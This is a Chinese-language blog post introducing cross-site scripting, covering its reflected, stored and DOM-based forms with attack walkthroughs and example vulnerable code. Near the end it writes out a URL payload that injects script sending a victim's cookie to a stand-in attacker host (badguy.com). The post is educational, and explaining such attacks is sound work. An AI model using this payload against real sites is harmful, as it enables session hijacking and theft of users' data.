所有由avfisher发布的文章

常见web漏洞之我见

这是我第一次写自己的技术博客,肯定有很多的不足和错误,如有不对之处,提前在此致歉并欢迎大家指正,文中部分引用已在文章结尾处的参考资料中列出,尊重原创,人人有责!

一直以来对web安全都很有兴趣,只是苦于现在的工作原因,并没有太多的时间和精力细细研究,今天突发奇想就是想把自己一直以来对web安全的理解和认知记录一下,一是做一个知识的总结,二也是方便自己日后的查阅。

说起web安全,那么就不得不提一下以下的常见漏洞和一般的防御方法。

一、 XSS (cross site scripting)

跨站脚本注入,是一个非常常见的web漏洞,也是见诸于各大web站点的常见漏洞, 主要分为以下3类:

1. 反射型XSS,

之所以称之为“反射型”,主要是因为通常恶意代码都没有保存在目标网站上,而是通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

实施这种攻击的步骤如下图所示。

(点击查看大图)图12-3 反射型XSS攻击的实施步骤

(1) 用户正常登录应用程序,得到一个包含会话令牌的 cookie:

(2) 攻击者通过某种方法(详情见下文)向用户提交以下 URL:

和前面生成一个对话框消息的示例一样,这个URL包含嵌入式 JavaScript 代码。但是,这个示例中的攻击有效载荷更加恶毒。

(3) 用户从应用程序中请求攻击者传送给他们的URL。

(4) 服务器响应用户的请求。由于应用程序中存在XSS漏洞,响应中包含攻击者创建的 JavaScript代码。

(5) 用户浏览器收到攻击者的JavaScript代码,像执行从应用程序收到的其他代码一样,浏览器执行这段代码。

(6) 攻击者创建的恶意JavaScript代码为:

这段代码可让用户浏览器向wahh-attacker.com(攻击者拥有的一个域)提出一个请求。请求中包含用户访问应用程序的当前会话令牌:

攻击者监控访问wahh-attacker.com的请求并收到用户的请求。攻击者使用截获的令牌劫持用户的会话,从而访问该用户的个人信息,并”代表”该用户执行任意操作。

2. 存储型XSS

恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也 能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户 的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

攻击过程如下:

Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

3. 基于DOM的XSS

在这种漏洞中,攻击者的JavaScript通过以下过程得以执行。

用户请求一个经过专门设计的URL,它由攻击者提交,且其中包含嵌入式JavaScript。

服务器的响应中并不以任何形式包含攻击者的脚本。

当用户的浏览器处理这个响应时,上述脚本得以处理。

这一系列事件如何发生呢?由于客户端JavaScript可以访问浏览器的文本对象模型(Document Object Model,DOM),因此它能够决定用于加载当前页面的 URL。由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它动态更新页面的内容。如果这样,应用程序就可能易于受到基于 DOM的XSS攻击。

回到前面的反射型XSS漏洞中的示例,其中服务器端应用程序将一个URL参数值复制到一条错误消息中。另一种实现相同功能的办法是由应用程序每次返回相同的静态 HTML,并使用客户端JavaScript动态生成消息内容。

例如,假设应用程序返回的错误页面包含以下脚本:

这段脚本解析 URL,提取出message参数的值,并把这个值写入页面的HTML源代码中。如果按开发者预想的方式调用,它可以和前面的示例中一样,用于创建错误消 息。但是,如果攻击者设计出一个 URL,并以JavaScript代码作为message参数,那么这段代码将被动态写入页面中,并像服务器返回代码一样得以执行。在这个示例中,前面示 例中利用反射型XSS漏洞的相同URL也可用于生成一个对话框:

  1. https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>

利用基于DOM的XSS漏洞的过程如图12-5所示。

(点击查看大图)图12-5 基于DOM的XSS攻击的实施步骤

与保存型XSS漏洞相比,基于DOM的XSS漏洞与反射型XSS漏洞有更大的相似性。利用它们通常需要攻击者诱使一名用户访问一个包含恶意代码的专门设计的URL,并由服务器响应那个使得恶意代码得以执行的特殊请求。

举个例子:

Tom 发现了Victim.com中的一个页面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码
<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>
复制代码

Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

(未完待续…)

参考资料:

http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

http://www.cnblogs.com/Jackson-Bruce/p/XSS-Attachs.html

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

http://blog.csdn.net/stilling2006/article/details/8526458

http://book.51cto.com/art/200907/138873.htm

http://blog.csdn.net/wrflovecy/article/details/41260591